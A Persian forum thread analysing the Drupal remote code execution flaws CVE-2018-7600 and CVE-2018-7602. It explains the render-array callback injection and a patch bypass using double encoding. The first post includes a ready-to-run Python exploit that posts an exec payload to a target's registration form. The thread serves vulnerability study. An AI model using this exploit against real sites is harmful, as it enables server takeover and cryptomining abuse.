نمایش نتایج: از شماره 1 تا 2 , از مجموع 2

موضوع: آوریل جهنمی برای دروپال (بررسی آسیب پذیری cve-2018-7602)

  1. #1
    عضو دائم T.Toosi آواتار ها
    تاریخ عضویت
    Jun 2015
    نوشته ها
    1,071
    تشکر تشکر کرده 
    278
    تشکر تشکر شده 
    2,936
    تشکر شده در
    1,329 پست

    پیش فرض آوریل جهنمی برای دروپال (بررسی آسیب پذیری cve-2018-7602)



    باسلام، حدود یک ماه پیش تیم امنیتی دروپال برای یک آسیب پذیری بسیار بحرانی (CVE-2018-7600) که با نام Drupalgeddon 2 شناخته می شود آپدیتی ارائه کرده است، این آسیب پذیری به مهاجم اجازه اجرای کد های خود به صورت ریموت را می دهد. زمانی از انتشار آپدیت جدید دروپال نگذشته است که آسیب پذیری بحرانی جدیدی (CVE-2018-7602) کشف شده است، که دقیقا همان ضعف CVE-2018-7600 است همچنین در دو مرحله این آسیب پذیری پچ شده است (پس از ایجاد ***** در کارکتر کلید ها (#) مهاجمان موفق به Bypass آن شده اند). بیش از یک میلیون وب سایت تحت تاثیر این آسیب پذیری قرار گرفته اند و مهاجمان بیشتر اقدام به ماینینگ Cryptocurrency بروی وب سایت ها می کردند.

    در آسیب پذیری CVE-2018-7602 که با نام Drupalgeddon 3 شناخته می شود، مهاجم با ست کردن یک پارامتر با نام Destination جهت استفاده از Callback های دروپال و ارسال یک درخواست Node Delete (پست، تاپیک و ..) می تواند Payload خود را بارگذاری کند، در ادامه مطلب سعی میکنم به صورت ساده متد و کلاس هایی که دارای ضعف می باشد را بررسی کنیم همچنین نیاز است به ساختار و معماری دروپال کاملا مسلط باشید.

    دروپال در API خود برای Render کردن از Renderable Array ها استفاده می کند، در صورتی که ما بتوانیم مقدار Renderable Array ها را تغییر دهیم می توانیم کد های خود را در مرحله Rendering Process اجرا کنیم. از فرم عضویت دروپال برای حمله استفاده می کنیم به دلیل اینکه فیلد ایمیل سمت سرور Sanitize نمی شود! و می توانیم Payload خود را در قالب آرایه در این فیلد تزریق کنیم همچنین فیلد Picture از AJAX API استفاده می کند که ما را به متد uploadAjaxCallback هدایت خواهد کرد.

    در صورتی که با ساختار Renderable Array ها در دروپال آشنایی ندارید، ابتدا لازم است به منابع موجود مراجعه کرده و با آن آشنا شوید.
    کد:
    \core\modules\file\src\Element\ManagedFile.php





    در ساختار Renderable Array دروپال، هر Key با کارکتر # شروع خواهد شد. با ست کردن element_parents در درخواست، مقدار این پارامتر پس از Explode در قالب آرایه به متد getValue ارسال خواهد شد (لاین 179) و به دروپال می فهمانیم Key ما در دیتای Post وجود دارد که باعث می شود در متد RenderRoot کلید ارسالی در صورت وجود در دروپال اجرا شود، به عکس زیر دقت کنید :



    Render در حالت عادی باید آرایه ای به صورت زیر باشد : (لاین 193)

    کد:
    http://uupload.ir/files/hynu_4.png
    و اما پاسخ دریافتی ما :

    کد:
    http://uupload.ir/files/lf4s_5.png

    حالا از یک کلید Callback دروپال استفاده کنیم تا کد های خودمان را تزریق کنیم،کلید Callback ها موجود و قابل استفاده :

    کد:
    #access_callback, #pre_render, #lazy_builder and #post_render
    از کلید #lazy_builder استفاده خواهیم کرد، اگر به سورس رجوع کنیم نیاز به یک Callable و Args داریم، پس در دیتای پست یک [#laze_builder][0][0] که متد assert از lazy فراخوانی میکند و یک [#laze_builder][0][1] که حاوی کد های مخرب و .. است را قرار دهیدم.




    درخواست و پاسخ ما به شکل زیر خواهد شد :




    اکسپلویت آسیب پذیری CVE-2018-7600 برای پایتون. در این اکسپلویت از کلید post_render استفاده کردیم که می توانید با این متد و حمله هم آشنا شوید :

    کد:
    import sys
    import requests
    target = input('Enter target url (example: https://domain.ltd/): ')
    proxies = {}
    verify = True
    url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
    payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
    r = requests.post(url, proxies=proxies, data=payload, verify=verify)
    check = requests.get(target + 'hello.txt', verify=verify)
    if check.status_code != 200:
      sys.exit("Not exploitable")
    print ('\nCheck: '+target+'hello.txt')

    در پست بعدی در صورتی که وقت آزاد دیگری باشد آسیب پذیری CVE-2018-7602 را بررسی خواهیم کرد اما ابتدا لازم بود با طریقه حمله Drupalgeddon 2 آشنا شویم به دلیل آنکه در Drupalgeddon 3 باز هم ضعف در Renderable Array فرم ها می باشد!
    ویرایش توسط T.Toosi : April 28th, 2018 در ساعت 23:45

  2. تعداد تشکر ها ازT.Toosi به دلیل پست مفید


  3. # ADS




     

  4. #2
    عضو دائم T.Toosi آواتار ها
    تاریخ عضویت
    Jun 2015
    نوشته ها
    1,071
    تشکر تشکر کرده 
    278
    تشکر تشکر شده 
    2,936
    تشکر شده در
    1,329 پست

    پیش فرض پاسخ : آوریل جهنمی برای دروپال (بررسی آسیب پذیری cve-2018-7602)

    در صورت عدم آشانایی با Markup های دروپال، ابتدا لازم است به منابع موجود مراجعه کرده و با آن آشنا شوید.
    باسلام، در آسیب پذیری CVE-2018-7602 با ارسال یک درخواست جهت پاک کردن Node کد های مخرب بارگذاری خواهد شد همچنین برای این درخواست نیاز به Authentication داریم پس استفاده از این Vulnerability کمی سخت و دشوارتر است. در مثال پایین ما سشن ادمین را بدست آوردیم اما اگر کاربر دسترسی پاک کردن یک پست را هم داشته باشد، مهاجم می تواند از این آسیب پذیری استفاده کند. به طور مثال مهاجم می تواند به عنوان نویسنده با شما توافق کند و شما را گول بزند (مهندسی اجتماعی).

    با ست کردن سشن ادمین در کوکی و ارسال درخواست زیر form_token صفحه مورد نظر را بدست آورده و برای درخواست بعدی آن را ذخیره کنید.



    زمانی که درخواست حذف یک Node می کنیم دروپال با در اختیار قرار دادن یک پارامتر GET به ما این امکان را قرار می دهد تا پس از حذف یا در صورت کنسل به آدرس مورد نظر Redirect شود، این پارامتر Destination می باشد و Payload ما در آن قرار می گیرد. طبق توضیحاتی که در پست قبل برای CVE-2018-7600 دادیم این پارامتر را با کلید post_render مقدار دهی می کنیم و درخواست ما به شکل زیر خواهد شد :



    پارامتر Destination ما از متد node_delete_confirm می گذرد (در صورت کنسل کردن کاربر لینک را برای Redirect آماده می کند) این متد مقدار Destination را به متد confirm_form می فرستد سپس Destination جهت تجزیه URL به متد drupal_parse_url می فرستد، در این متد و در مرحله آخر مقدار Destination در parse_str از Urldecode خواهد گذشت و اینجا بود که آپدیت مرحله یک Drupalgeddon 3 بایپس شد، با ارسال %2523 متد parse_str به ما %23 را بازگشت خواهد داد یعنی Unicode کارکتر # (جهت استفاده از کلید #post_render به دلیل آنکه در آپدیت استفاده از # در این پارامتر ***** شده بود) و در آخر موفق به اجرای یک دستور سیستمی whoami شدیم.






    Renderable Array پس از بارگذاری Payload :



    پچ نهایی دروپال برای Drupalgeddon 3 / فایل RequestSanitizer.php :

    کد:
    http://uupload.ir/files/u4rd_cve-2018-7602_(2).png
    ویرایش توسط T.Toosi : April 29th, 2018 در ساعت 10:41

  5. تعداد تشکر ها ازT.Toosi به دلیل پست مفید


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

موضوعات مشابه

  1. درخواست vps از سه لوکیشن مختلف دنیا (امریکا، اروپا و شزق آسیا)
    توسط bahrambeigy در انجمن درخواست سرور مجازی
    پاسخ ها: 13
    آخرين نوشته: May 8th, 2017, 00:06
  2. پاسخ ها: 0
    آخرين نوشته: April 26th, 2017, 13:39
  3. معرفی قالب رایگان رُز سیاه برای دروپال ۷
    توسط nasour در انجمن دیگر سیستم ها
    پاسخ ها: 0
    آخرين نوشته: February 24th, 2017, 16:02
  4. route دالاس به آسیا و اروپا
    توسط shetab در انجمن سوالات و مشکلات
    پاسخ ها: 5
    آخرين نوشته: April 26th, 2013, 22:45
  5. پاسخ ها: 0
    آخرين نوشته: January 4th, 2012, 22:04

کلمات کلیدی این موضوع

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •